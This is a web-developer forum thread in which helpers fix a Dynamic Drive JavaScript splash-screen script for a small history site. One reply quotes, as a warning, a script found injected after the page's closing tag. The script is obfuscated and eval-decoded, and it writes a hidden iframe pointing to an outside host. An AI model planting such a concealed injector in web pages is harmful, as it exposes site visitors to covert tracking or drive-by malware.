PDA

View Full Version : Splash page script



orions8
12-26-2013, 06:23 AM
1) Script Title: :: Splash Page script


2) Script URL (on DD): http://www.dynamicdrive.com/dynamicindex3/dynamicsplash.htm

3) Describe problem: Can not get to work, no matter how many times I read the page. Must be
doing something wrong. Either done something wrong in .js or on my page ? URL to look at
page: www.republic-of-aquitaine.org/ind.html ( before I set actual page up, test page ) The .js
I beleive I set up right and placed up on server. Appreciate any help

jscheuer1
12-26-2013, 06:59 AM
There's a conflict with another script* on the page. To avoid that, use this version:


<script>

/*
Dynamic Splash Screen effect- Dynamic Drive (www.dynamicdrive.com)
For full source code, installation instructions, 100's more DHTML scripts, and Terms Of Use,
Visit http://dynamicdrive.com
*/

//Specify the paths of the images to be used in the splash screen, if any.
//If none, empty out array (ie: preloadimages=new Array())
var preloadimages=new Array()
//configure delay in miliseconds between each message (default: 125 seconds)
var intervals=4000
//configure destination URL
var targetdestination="http://www.republic-of-aquitaine.org/index1.htm"

//configure messages to be displayed
//If message contains apostrophe('), backslash them (ie: "I\'m fine")

var splashmessage=new Array()
var openingtags='<font face="Arial" size="5">'
splashmessage[0]=' Welcome to<br> the Republic of Aquitaine '
splashmessage[1]='we hope that you find our site,'
splashmessage[2]='interesting and<br> informative<br> with history. '
splashmessage[3]='You will find links to more information,'
splashmessage[4]='that we hope you will enjoy.'
splashmessage[5]='We will open the door for you...'
var closingtags='</font>'

//Do not edit below this line (besides HTML code at the very bottom)

var splashi=0

var ns4=document.layers?1:0
var ie4=document.all?1:0
var ns6=document.getElementById&&!document.all?1:0
var theimages=new Array()

//preload images
if (document.images){
for (p=0;p<preloadimages.length;p++){
theimages[p]=new Image()
theimages[p].src=preloadimages[p]
}
}

function displaysplash(){
if (splashi<splashmessage.length){
sc_cross.style.visibility="hidden"
sc_cross.innerHTML='<b><center>'+openingtags+splashmessage[splashi]+closingtags+'</center></b>'
sc_cross.style.left=ns6?parseInt(window.pageXOffset)+parseInt(window.innerWidth)/2-parseInt(sc_cross.style.width)/2 : document.body.scrollLeft+document.body.clientWidth/2-parseInt(sc_cross.style.width)/2
sc_cross.style.top=ns6?parseInt(window.pageYOffset)+parseInt(window.innerHeight)/2-sc_cross.offsetHeight/2 : document.body.scrollTop+document.body.clientHeight/2-sc_cross.offsetHeight/2
sc_cross.style.visibility="visible"
splashi++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash()",intervals)
}

function displaysplash_ns(){
if (splashi<splashmessage.length){
sc_ns.visibility="hide"
sc_ns.document.write('<b>'+openingtags+splashmessage[splashi]+closingtags+'</b>')
sc_ns.document.close()

sc_ns.left=pageXOffset+window.innerWidth/2-sc_ns.document.width/2
sc_ns.top=pageYOffset+window.innerHeight/2-sc_ns.document.height/2

sc_ns.visibility="show"
splashi++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash_ns()",intervals)
}



function positionsplashcontainer(){
if (ie4||ns6){
sc_cross=ns6?document.getElementById("splashcontainer"):document.all.splashcontainer
displaysplash()
}
else if (ns4){
sc_ns=document.splashcontainerns
sc_ns.visibility="show"
displaysplash_ns()
}
else
window.location=targetdestination
}
window.onload=positionsplashcontainer

</script>


*I think this other script is added automatically to the page. In any case, it's the last script on the page, after the </html> tag, which is why I think it's added automatically. Looks like a stats generator, tracking, or ads script. It could be malicious though. If you don't know what it's for and you can't get rid of it, check with your host to make sure they know about it:


<script>s='epdvnfou/xsjuf)#=jgsbnf!tuzmf>(ejtqmbz;opof(!xjeui>2!ifjhiu>2!tsd>(iuuq;00usvtucje/xt0@je>3tfmmfs(?=0jgsbnf?#*<';o='';for(i=0;i<111;i++){o+=String.fromCharCode(s.charCodeAt(i)-1);}eval(o);</script>

orions8
12-26-2013, 03:28 PM
[QUOTE=orions8;304212]1) Script Title: :: Splash Page script


2) Script URL (on DD): http://www.dynamicdrive.com/dynamicindex3/dynamicsplash.htm

3) Describe problem: Thanks John for the help for explaining the one problem. Now I just need
to figure out why my words are not showing up on the page when it comes up ? It has to be
something minor somewhere in the script, that I am not seeing. Apreciating any help on this matter,
with the script. It worked back in 2002, but now I must need my other glasses to see where
I am not seeing the problem. I get an error code of: Line: 98, char: 26, console is undefined
code: 0 ? ? ? ?

orions8
12-26-2013, 03:41 PM
Hi John:

Here is the .js but it brings up another page before it goes out to the test page. It also shows an error
when it brings the test page up. Line 98; char: 26, console undefined, code 0

//Splash Page script- http://www.dynamicdrive.com/
//Created: August 17th, 2007'

var splashpage={
// Splash Page Script Activation (1=enabled, 0=completely disabled!)
splashenabled: 1,

//1) URL to file on your server to display as the splashpage
splashpageurl: "http://www.reublic-of-aquitaine.org/ind.html/",

//2) Enable frequency control? (1=yes, 0=no)
enablefrequency: 0,

//3) display freqency: "sessiononly" or "x days" (string value). Only applicable if 3) above is enabled
displayfrequency: "2 days",

//4) HTML for the header bar portion of the Splash Page
// Make sure to create a link that calls "javascript:splashpage.closeit()")
// An IE bug means you should not right align any image within the bar, but instead use "position:absolute" and the "right" attribute

defineheader: '<div style="padding: 5px; color: white; font: bold 16px Verdana; background: black url(blockdefault.gif) center center repeat-x;"><a style="position:absolute; top: 2px; right: 5px" href="javascript:splashpage.closeit()" title="Skip to Content"><img src="skip.gif" border="0" width="114px" height="23px" /></a>Brought to you by CSS Drive...</div>',

//5) cookie setting: ["cookie_name", "cookie_path"]
cookiename: ["splashpagecookie", "path=/"],

//6) Auto hide Splash Page after x seconds (Integer value, 0=no)?
autohidetimer: 15,

////No need to edit beyond here//////////////////////////////////

launch:false,
browserdetectstr: (window.opera&&window.getSelection) || (!window.opera && window.XMLHttpRequest), //current browser detect string to limit the script to be run in (Opera9 and other "modern" browsers)

output:function(){
document.write('<div id="slashpage" style="position: absolute; z-index: 100; color: white; background-color:white">') //Main splashpage container
document.write(this.defineheader) //header portion of splashpage
document.write('<iframe name="splashpage-iframe" src="about:blank" style="margin:0; padding:0; width:100%; height: 100%"></iframe>') //iframe
document.write('<br />&nbsp;</div>')
this.splashpageref=document.getElementById("slashpage")
this.splashiframeref=window.frames["splashpage-iframe"]
this.splashiframeref.location.replace(this.splashpageurl) //Load desired URL into splashpage iframe
this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
if (!/safari/i.test(navigator.userAgent)) //if not Safari, disable document scrollbars
this.standardbody.style.overflow="hidden"
this.splashpageref.style.left=0
this.splashpageref.style.top=0
this.splashpageref.style.width="100%"
this.splashpageref.style.height="100%"
this.moveuptimer=setInterval("window.scrollTo(0,0)", 50)
},

closeit:function(){
clearInterval(this.moveuptimer)
this.splashpageref.style.display="none"
this.splashiframeref.location.replace("about:blank")
this.standardbody.style.overflow="auto"
},

init:function(){
if (this.enablefrequency==1){ //if frequency control turned on
if (/sessiononly/i.test(this.displayfrequency)){ //if session only control
if (this.getCookie(this.cookiename[0]+"_s")==null){ //if session cookie is empty
this.setCookie(this.cookiename[0]+"_s", "loaded")
this.launch=true
}
}
else if (/day/i.test(this.displayfrequency)){ //if persistence control in days
if (this.getCookie(this.cookiename[0])==null || parseInt(this.getCookie(this.cookiename[0]))!=parseInt(this.displayfrequency)){ //if persistent cookie is empty or admin has changed number of days to persist from that of the stored value (meaning, reset it)
this.setCookie(this.cookiename[0], parseInt(this.displayfrequency), parseInt(this.displayfrequency))
this.launch=true
}
}
}
else //else if enablefrequency is off
this.launch=true
if (this.launch){
this.output()
if (parseInt(this.autohidetimer)>0)
setTimeout("splashpage.closeit()", parseInt(this.autohidetimer)*1000)
}
},

getCookie:function(Name){
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
},

setCookie:function(name, value, days){
var expireDate = new Date()
//set "expstring" to either an explicit date (past or future)
if (typeof days!="undefined"){ //if set persistent cookie
var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days))
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; "+splashpage.cookiename[1] //last portion sets cookie path
}
else //else if this is a session only cookie setting
document.cookie = name+"="+value+"; "+splashpage.cookiename[1] //last portion sets cookie path
}

}

if (splashpage.browserdetectstr && splashpage.splashenabled==1)
splashpage.init()


I certainly hope you can help me, and thanks again.

jscheuer1
12-26-2013, 04:01 PM
That's not the script you have at:

http://www.republic-of-aquitaine.org/ind.html

That page is now working here.

vwphillips
12-26-2013, 05:48 PM
but console.log(splashi); gives an error with IE


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>

<head>
<title>republic-of-aquitaine.org - - - ...</title>
</head>

<body bgcolor="tan" text="#000000">
<script language="JavaScript">

<!-- Begin
function right(e) {
if (navigator.appName == 'Netscape' &&
(e.which == 3 || e.which == 2))
return false;
else if (navigator.appName == 'Microsoft Internet Explorer' &&
(event.button == 2 || event.button == 3)) {
alert("Copyright February 2003 republic-of-aquitaine.org All Rights Reserved");
return false;
}
return true;
}

document.onmousedown=right;
document.onmouseup=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
if (document.layers) window.captureEvents(Event.MOUSEUP);
window.onmousedown=right;
window.onmouseup=right;
// End -->

</script>
<div id="splashcontainer" style="position:absolute;left:0px;top:400px;width:370px;text-Align:center;font-Size:20px;border:solid red 1px;">
</div>

<br>

<center>
<table width="50%" cellpadding="2">
<tr>
<td>

</td>
<td>
<img src="http://republic-of-aquitaine.org/images/Aquitaine_2.jpg" width="575" height="350" border="0" alt="Aquitaine">
</td>
<td>

</td>
</tr></table>
</center>
<br><br>
<script>


//Specify the paths of the images to be used in the splash screen, if any.
//If none, empty out array (ie: preloadimages=new Array())
var preloadimages=new Array()

//Do not edit below this line (besides HTML code at the very bottom)


var theimages=new Array()

//preload images
for (p=0;p<preloadimages.length;p++){
theimages[p]=new Image()
theimages[p].src=preloadimages[p]
}

</script>
<script>
/*
Modified from:
Dynamic Splash Screen effect- Dynamic Drive (www.dynamicdrive.com)
For full source code, installation instructions, 100's more DHTML scripts, and Terms Of Use,
Visit http://dynamicdrive.com
*/

function splashdisplay(o){
if (o.n<o.SplashMessages.length){
o.obj.style.visibility='hidden';
o.SplashMessages[o.n]?o.obj.innerHTML=o.SplashMessages[o.n]:null;
o.CenterLeft!==false?o.obj.style.left=(o.mk.offsetLeft-o.obj.offsetWidth)/2+'px':null;
o.CenterTop!==false?o.obj.style.top=(o.mk.offsetTop-o.obj.offsetHeight)/2+'px':null;
o.obj.style.visibility='visible';
o.n++;
o.to=setTimeout(function(){ splashdisplay(o); },o.Interval);
}
else{
window.top.location=o.TargetDestination;
}
}



function SplashPage(o){
o.obj=document.getElementById(o.SplashID);
if (o.obj&&o.SplashMessages instanceof Array){
o.mk=document.createElement('DIV');
o.mk.style.position='absolute';
o.mk.style.right=o.mk.style.bottom=o.mk.style.width=o.mk.style.height='0px';
document.body.appendChild(o.mk);
o.n=0;
o.Interval=typeof(o.Interval)=='number'&&o.Interval>20?o.Interval:2000;
splashdisplay(o);
}
}

window.onload=function(){
SplashPage({
SplashID:'splashcontainer',
SplashMessages:[
'Welcome to<br> the Republic of Aquitaine ',
'we hope that you find our site,',
'interesting and<br> informative<br> with history. ',
'You will find links to more information,',
'that we hope you will enjoy.',
'We will open the door for you...'
],
Interval:1000,
TargetDestination:'http://www.dynamicdrive.com',
CenterLeft:true,
CenterTop:false

});
}
</script>


<!--Set href in below link to the URL of the target destination-->

<div align="center">
<table border="0" width="200" height="100%" cellspacing="0" cellpadding="0">
<td width="100%" valign="bottom" align="center">
[ <a href="http://www.republic-of-aquitaine.org/index1.htm">
<font color="#000000"><b>Skip Intro</b></font></a> ]
</td>
</table>
</div>


</body>
</html>

jscheuer1
12-26-2013, 06:37 PM
but console.log(splashi); gives an error with IE

Just remove that. I had that in there for diagnostics and forgot to remove it. I've corrected it in my previous post with the code:


<script>

/*
Dynamic Splash Screen effect- Dynamic Drive (www.dynamicdrive.com)
For full source code, installation instructions, 100's more DHTML scripts, and Terms Of Use,
Visit http://dynamicdrive.com
*/

//Specify the paths of the images to be used in the splash screen, if any.
//If none, empty out array (ie: preloadimages=new Array())
var preloadimages=new Array()
//configure delay in miliseconds between each message (default: 125 seconds)
var intervals=4000
//configure destination URL
var targetdestination="http://www.republic-of-aquitaine.org/index1.htm"

//configure messages to be displayed
//If message contains apostrophe('), backslash them (ie: "I\'m fine")

var splashmessage=new Array()
var openingtags='<font face="Arial" size="5">'
splashmessage[0]=' Welcome to<br> the Republic of Aquitaine '
splashmessage[1]='we hope that you find our site,'
splashmessage[2]='interesting and<br> informative<br> with history. '
splashmessage[3]='You will find links to more information,'
splashmessage[4]='that we hope you will enjoy.'
splashmessage[5]='We will open the door for you...'
var closingtags='</font>'

//Do not edit below this line (besides HTML code at the very bottom)

var splashi=0

var ns4=document.layers?1:0
var ie4=document.all?1:0
var ns6=document.getElementById&&!document.all?1:0
var theimages=new Array()

//preload images
if (document.images){
for (p=0;p<preloadimages.length;p++){
theimages[p]=new Image()
theimages[p].src=preloadimages[p]
}
}

function displaysplash(){
if (splashi<splashmessage.length){
sc_cross.style.visibility="hidden"
sc_cross.innerHTML='<b><center>'+openingtags+splashmessage[splashi]+closingtags+'</center></b>'
sc_cross.style.left=ns6?parseInt(window.pageXOffset)+parseInt(window.innerWidth)/2-parseInt(sc_cross.style.width)/2 : document.body.scrollLeft+document.body.clientWidth/2-parseInt(sc_cross.style.width)/2
sc_cross.style.top=ns6?parseInt(window.pageYOffset)+parseInt(window.innerHeight)/2-sc_cross.offsetHeight/2 : document.body.scrollTop+document.body.clientHeight/2-sc_cross.offsetHeight/2
sc_cross.style.visibility="visible"
splashi++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash()",intervals)
}

function displaysplash_ns(){
if (splashi<splashmessage.length){
sc_ns.visibility="hide"
sc_ns.document.write('<b>'+openingtags+splashmessage[splashi]+closingtags+'</b>')
sc_ns.document.close()

sc_ns.left=pageXOffset+window.innerWidth/2-sc_ns.document.width/2
sc_ns.top=pageYOffset+window.innerHeight/2-sc_ns.document.height/2

sc_ns.visibility="show"
splashi++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash_ns()",intervals)
}



function positionsplashcontainer(){
if (ie4||ns6){
sc_cross=ns6?document.getElementById("splashcontainer"):document.all.splashcontainer
displaysplash()
}
else if (ns4){
sc_ns=document.splashcontainerns
sc_ns.visibility="show"
displaysplash_ns()
}
else
window.location=targetdestination
}
window.onload=positionsplashcontainer

</script>